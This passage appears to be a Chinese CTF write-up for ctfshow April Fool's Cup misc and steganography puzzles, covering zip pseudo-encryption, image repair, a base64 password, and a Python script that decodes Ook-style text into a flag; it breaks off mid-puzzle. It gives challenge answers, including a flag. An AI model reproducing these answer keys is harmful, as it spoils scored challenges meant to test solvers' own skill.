热身
100
愚人杯比赛秉承欢乐、有爱、进取的精神
在群里师傅热心帮助下,已经开始第三届比赛啦!
欢迎各位师傅参加,希望大家玩的开心,比赛题目可以自由讨论、但是请不要py
正式比赛在 3月31日晚8点整开整
Happy April Fool’s Day!
本题flag是一个不能说的秘密
一个不能说的秘密
伪加密,图片里藏了一个压缩包
key base64解一下就是压缩包密码
压缩包里面一张图片,修改高度即可
阿尼亚会高数: 哇库哇库!
- key = Σ(1/(n!))
- "Σ(1/(n!))"为无穷级数
- 结果四舍五入保留十二位有效数字
问一问new bing
嗯,就是常数e的值
key = 2.71828182846
hint的文件头坏了屁股坏了还有crc坏了,再爆破宽高,修了一下提示GB2312,感觉没啥用
看到群里提示是ook,嗯,标点很明显
x = ["阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","好帅好帅!","阿尼亚棒吗?","可爱,可爱!","阿尼亚不想去上学了!","阿尼亚想穿这身衣服出萌。","阿尼亚可爱吗?","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","阿尼亚帅不帅?","要是不向次子道歉,世界和平就完蛋了。","蓬蓬头?","交给我吧!","欢迎来到阿尼亚家。","哇酷哇酷?","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲,阿尼亚合格啦!","父亲做菜很好吃。","阿尼亚棒吗?","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","阿尼亚好兴奋!","阿尼亚可爱吗?","阿尼亚要加油!","阿尼亚在学校也会加油的!","好想有个母亲爱我。","阿尼亚帅不帅?","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","蓬蓬头?","父亲和母亲都很有趣,我最喜欢他们了。","哇酷哇酷?","阿尼亚必须加油!","我想永远和他们在一起。","阿尼亚棒吗?","父亲做菜很好吃。","多亏了父亲。","营救公主的间谍!","太好了。","阿尼亚可爱吗?","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","是住在城堡里的奇美拉!","阿尼亚帅不帅?","救命呀!","救救我!劳埃德曼!","好想有个母亲爱我。","蓬蓬头?","阿尼亚好想看呀!","完美的劳埃德曼,好想看呀!","看我必杀拳,砰!","好耶!","父亲,母亲,有需要帮助的人!","要帮助他!","哇酷哇酷?","阿尼亚喜欢厉害又帅气的母亲。","阿尼亚棒吗?","太好了!","都怪阿尼亚踩到了粑粑。","阿尼亚可爱吗?","花生!","阿尼亚想吃蛋包饭!","警惕!","阿尼亚想像母亲一样厉害!","好帅好帅!","可爱,可爱!","阿尼亚不想去上学了!","交给我吧!","父亲,阿尼亚合格啦!","阿尼亚好兴奋!","阿尼亚要加油!","阿尼亚一点也不在意。","阿尼亚帅不帅?","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","阿尼亚在学校也会加油的!","蓬蓬头?","阿尼亚必须加油!","营救公主的间谍!","父亲做菜很好吃。","哇酷哇酷?","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚棒吗?","阿尼亚想去你家玩。","阿尼亚可爱吗?","是住在城堡里的奇美拉!","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚帅不帅?","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","救命呀!","父亲和母亲甜甜蜜蜜。","蓬蓬头?","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","救救我!劳埃德曼!","哇酷哇酷?","阿尼亚好想看呀!","完美的劳埃德曼,好想看呀!","要是不向次子道歉,世界和平就完蛋了。","阿尼亚棒吗?","看我必杀拳,砰!","好耶!","父亲,母亲,有需要帮助的人!","要帮助他!","太好了!","花生!","阿尼亚可爱吗?","欢迎来到阿尼亚家。","阿尼亚帅不帅?","阿尼亚想吃蛋包饭!","阿尼亚想穿这身衣服出萌。","蓬蓬头?","警惕!","阿尼亚想像母亲一样厉害!","好帅好帅!","可爱,可爱!","阿尼亚不想去上学了!","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","交给我吧!","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","父亲,阿尼亚合格啦!","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚好兴奋!","阿尼亚想穿这身衣服出萌。","哇酷哇酷?","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","多亏了父亲。","太好了。","阿尼亚要加油!","阿尼亚棒吗?","阿尼亚在学校也会加油的!","阿尼亚必须加油!","母亲,给阿尼亚做特训吧。","阿尼亚可爱吗?","营救公主的间谍!","是住在城堡里的奇美拉!","救命呀!","救救我!劳埃德曼!","阿尼亚好想看呀!","完美的劳埃德曼,好想看呀!","看我必杀拳,砰!","好耶!","父亲,母亲,有需要帮助的人!","要帮助他!","太好了!","花生!","阿尼亚想吃蛋包饭!","警惕!","阿尼亚想像母亲一样厉害!","好帅好帅!","阿尼亚帅不帅?","要是不向次子道歉,世界和平就完蛋了。","蓬蓬头?","可爱,可爱!","欢迎来到阿尼亚家。","哇酷哇酷?","阿尼亚不想去上学了!","交给我吧!","父亲,阿尼亚合格啦!","阿尼亚好兴奋!","阿尼亚要加油!","阿尼亚在学校也会加油的!","阿尼亚必须加油!","营救公主的间谍!","是住在城堡里的奇美拉!","救命呀!","救救我!劳埃德曼!","阿尼亚好想看呀!","完美的劳埃德曼,好想看呀!","看我必杀拳,砰!","好耶!","阿尼亚想穿这身衣服出萌。","阿尼亚棒吗?","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","父亲,母亲,有需要帮助的人!","阿尼亚可爱吗?","要帮助他!","太好了!","多亏了父亲。","阿尼亚帅不帅?","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","蓬蓬头?","母亲是杀手。","哇酷哇酷?","花生!","父亲和母亲甜甜蜜蜜。","阿尼亚棒吗?","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","阿尼亚想吃蛋包饭!","父亲是间谍。","警惕!","阿尼亚想像母亲一样厉害!","好帅好帅!","可爱,可爱!","阿尼亚不想去上学了!","交给我吧!","父亲,阿尼亚合格啦!","阿尼亚好兴奋!","阿尼亚要加油!","阿尼亚在学校也会加油的!","阿尼亚必须加油!","母亲是杀手。","阿尼亚可爱吗?","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","营救公主的间谍!","阿尼亚帅不帅?","是住在城堡里的奇美拉!","救命呀!","欢迎来到阿尼亚家。","蓬蓬头?","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","哇酷哇酷?","阿尼亚不想要这个妈妈。","阿尼亚棒吗?","救救我!劳埃德曼!","父亲是间谍。","阿尼亚可爱吗?","阿尼亚好想看呀!","母亲是杀手。","阿尼亚帅不帅?","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","完美的劳埃德曼,好想看呀!","蓬蓬头?","看我必杀拳,砰!","好耶!","欢迎来到阿尼亚家。","哇酷哇酷?","父亲,母亲,有需要帮助的人!","要帮助他!","太好了!","花生!","阿尼亚想吃蛋包饭!","警惕!","阿尼亚想像母亲一样厉害!","好帅好帅!","阿尼亚棒吗?","阿尼亚想穿这身衣服出萌。","阿尼亚可爱吗?","可爱,可爱!","阿尼亚想去你家玩。","阿尼亚帅不帅?","阿尼亚不想去上学了!","交给我吧!","父亲,阿尼亚合格啦!","阿尼亚好兴奋!","阿尼亚要加油!","阿尼亚在学校也会加油的!","阿尼亚必须加油!","营救公主的间谍!","是住在城堡里的奇美拉!","救命呀!","救救我!劳埃德曼!","阿尼亚好想看呀!","完美的劳埃德曼,好想看呀!","看我必杀拳,砰!","好耶!","父亲,母亲,有需要帮助的人!","要帮助他!","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","太好了!","花生!","阿尼亚想吃蛋包饭!","警惕!","阿尼亚想像母亲一样厉害!","阿尼亚好失落。","蓬蓬头?","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","好帅好帅!","哇酷哇酷?","可爱,可爱!","阿尼亚不想去上学了!","父亲和母亲都很有趣,我最喜欢他们了。","阿尼亚棒吗?","交给我吧!","父亲,阿尼亚合格啦!","阿尼亚好兴奋!","阿尼亚要加油!","阿尼亚在学校也会加油的!","阿尼亚必须加油!","营救公主的间谍!","是住在城堡里的奇美拉!","阿尼亚可爱吗?","我想永远和他们在一起。","阿尼亚帅不帅?","救命呀!","父亲做菜很好吃。","蓬蓬头?","救救我!劳埃德曼!","阿尼亚好想看呀!","完美的劳埃德曼,好想看呀!","看我必杀拳,砰!","好耶!","父亲,母亲,有需要帮助的人!","要帮助他!","太好了!","花生!","多亏了父亲。","哇酷哇酷?","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚想吃蛋包饭!","阿尼亚棒吗?","警惕!","阿尼亚想像母亲一样厉害!","阿尼亚喜欢厉害又帅气的母亲。","阿尼亚可爱吗?","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","阿尼亚帅不帅?","我想永远和他们在一起。","蓬蓬头?","好帅好帅!","父亲做菜很好吃。","哇酷哇酷?","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","可爱,可爱!","阿尼亚一点也不在意。","阿尼亚棒吗?","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","阿尼亚不想去上学了!","阿尼亚可爱吗?","交给我吧!","父亲,阿尼亚合格啦!","父亲做菜很好吃。","阿尼亚帅不帅?","阿尼亚好兴奋!","阿尼亚要加油!","阿尼亚在学校也会加油的!","阿尼亚必须加油!","营救公主的间谍!","是住在城堡里的奇美拉!","蓬蓬头?","多亏了父亲。","哇酷哇酷?","救命呀!","太好了。","阿尼亚棒吗?","救救我!劳埃德曼!","阿尼亚好想看呀!","完美的劳埃德曼,好想看呀!","母亲,给阿尼亚做特训吧。","阿尼亚可爱吗?","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","看我必杀拳,砰!","阿尼亚帅不帅?","好耶!","父亲,母亲,有需要帮助的人!","阿尼亚喜欢厉害又帅气的母亲。","蓬蓬头?","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","哇酷哇酷?","会没事的。","阿尼亚棒吗?","要帮助他!","父亲和母亲都很有趣,我最喜欢他们了。","阿尼亚可爱吗?","我想永远和他们在一起。","父亲做菜很好吃。","太好了!","多亏了父亲。","阿尼亚帅不帅?","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","花生!","蓬蓬头?","阿尼亚想吃蛋包饭!","警惕!","父亲是间谍。","哇酷哇酷?","阿尼亚想像母亲一样厉害!","好帅好帅!","可爱,可爱!","阿尼亚不想去上学了!","交给我吧!","父亲,阿尼亚合格啦!","阿尼亚好兴奋!","阿尼亚要加油!","阿尼亚在学校也会加油的!","阿尼亚必须加油!","营救公主的间谍!","是住在城堡里的奇美拉!","阿尼亚棒吗?","母亲是杀手。","阿尼亚可爱吗?","救命呀!","父亲和母亲甜甜蜜蜜。","阿尼亚帅不帅?","救救我!劳埃德曼!","阿尼亚好想看呀!","完美的劳埃德曼,好想看呀!","看我必杀拳,砰!","好耶!","父亲,母亲,有需要帮助的人!","要帮助他!","太好了!","花生!","阿尼亚想吃蛋包饭!","警惕!","阿尼亚想像母亲一样厉害!","好帅好帅!","可爱,可爱!","阿尼亚不想去上学了!","交给我吧!","父亲,阿尼亚合格啦!","阿尼亚好兴奋!","阿尼亚要加油!","阿尼亚在学校也会加油的!","阿尼亚必须加油!","营救公主的间谍!","是住在城堡里的奇美拉!","救命呀!","救救我!劳埃德曼!","会没事的。","蓬蓬头?","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚好想看呀!","哇酷哇酷?","完美的劳埃德曼,好想看呀!","看我必杀拳,砰!","阿尼亚一点也不在意。","阿尼亚棒吗?","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚可爱吗?","阿尼亚想去你家玩。","阿尼亚帅不帅?","好耶!","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","蓬蓬头?","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","多亏了父亲。","父亲,母亲,有需要帮助的人!","太好了。","哇酷哇酷?","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","要帮助他!","阿尼亚棒吗?","太好了!","花生!","我想永远和他们在一起。","阿尼亚可爱吗?","阿尼亚想吃蛋包饭!","警惕!","阿尼亚想像母亲一样厉害!","好帅好帅!","可爱,可爱!","阿尼亚不想去上学了!","交给我吧!","父亲,阿尼亚合格啦!","阿尼亚好兴奋!","阿尼亚要加油!","阿尼亚在学校也会加油的!","阿尼亚必须加油!","营救公主的间谍!","是住在城堡里的奇美拉!","救命呀!","救救我!劳埃德曼!","阿尼亚帅不帅?","父亲做菜很好吃。","蓬蓬头?","阿尼亚好想看呀!","多亏了父亲。","哇酷哇酷?","完美的劳埃德曼,好想看呀!","看我必杀拳,砰!","好耶!","父亲,母亲,有需要帮助的人!","要帮助他!","太好了!","花生!","阿尼亚想吃蛋包饭!","警惕!","阿尼亚想像母亲一样厉害!","好帅好帅!","可爱,可爱!","阿尼亚不想去上学了!","交给我吧!","父亲,阿尼亚合格啦!","阿尼亚好兴奋!","阿尼亚要加油!","太好了。","阿尼亚棒吗?","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","阿尼亚在学校也会加油的!","阿尼亚可爱吗?","阿尼亚必须加油!","营救公主的间谍!","多亏了父亲。","阿尼亚帅不帅?","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","蓬蓬头?","我想永远和他们在一起。","哇酷哇酷?","是住在城堡里的奇美拉!","父亲做菜很好吃。","阿尼亚棒吗?","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","多亏了父亲。","救命呀!","太好了。","阿尼亚可爱吗?","母亲,给阿尼亚做特训吧。"]
y = ''.join([i[-1]for i in x]).replace('。','.').replace('?','?').replace('!','!')
print(y)
..................!?!!.?..................?.?!.?....................................!.?.........!?!!.?........?.?!.?..!.?.......!?!!.?!!!!!!?.?!.?!!!!!!!!!!!.?.......!?!!.?......?.?!.?........!.?.......!?!!.?!!!!!!?.?!.?!!!!!...............!.................!.........!.?.................!?!!.?!!!!!!!!!!!!!!!!?.?!.?!!!!!!!!!!!!!!!.?...............!?!!.?..............?.?!.?..................!.!!!!!!!!!!!.?.........!?!!.?........?.?!.?!.?.........!?!!.?!!!!!!!!?.?!.?!!!!!!!!!!!!!!!!!.!!!!!.?.........!?!!.?!!!!!!!!?.?!.?!!!!!!!!!.?.........!?!!.?........?.?!.?............!.?.......!?!!.?!!!!!!?.?!.?!!!.?.......!?!!.?......?.?!.?..!.?.............!?!!.?!!!!!!!!!!!!?.?!.?!!!!!!!!!!!!!!!!!!!!!!!!!.?...............!?!!.?..............?.?!.?..............!.?.................!?!!.?!!!!!!!!!!!!!!!!?.?!.?!!!!!!!!!!!!!!!!!.?...................!?!!.?..................?.?!.?......................!.?.
ctfshow{4niya_KaWa1i!}
给了一段文本,一直重复某些话,先把它分离出来,再看看每句话出现了多少次
x = "我必须站在这里。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有听见孩子们的悲鸣?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到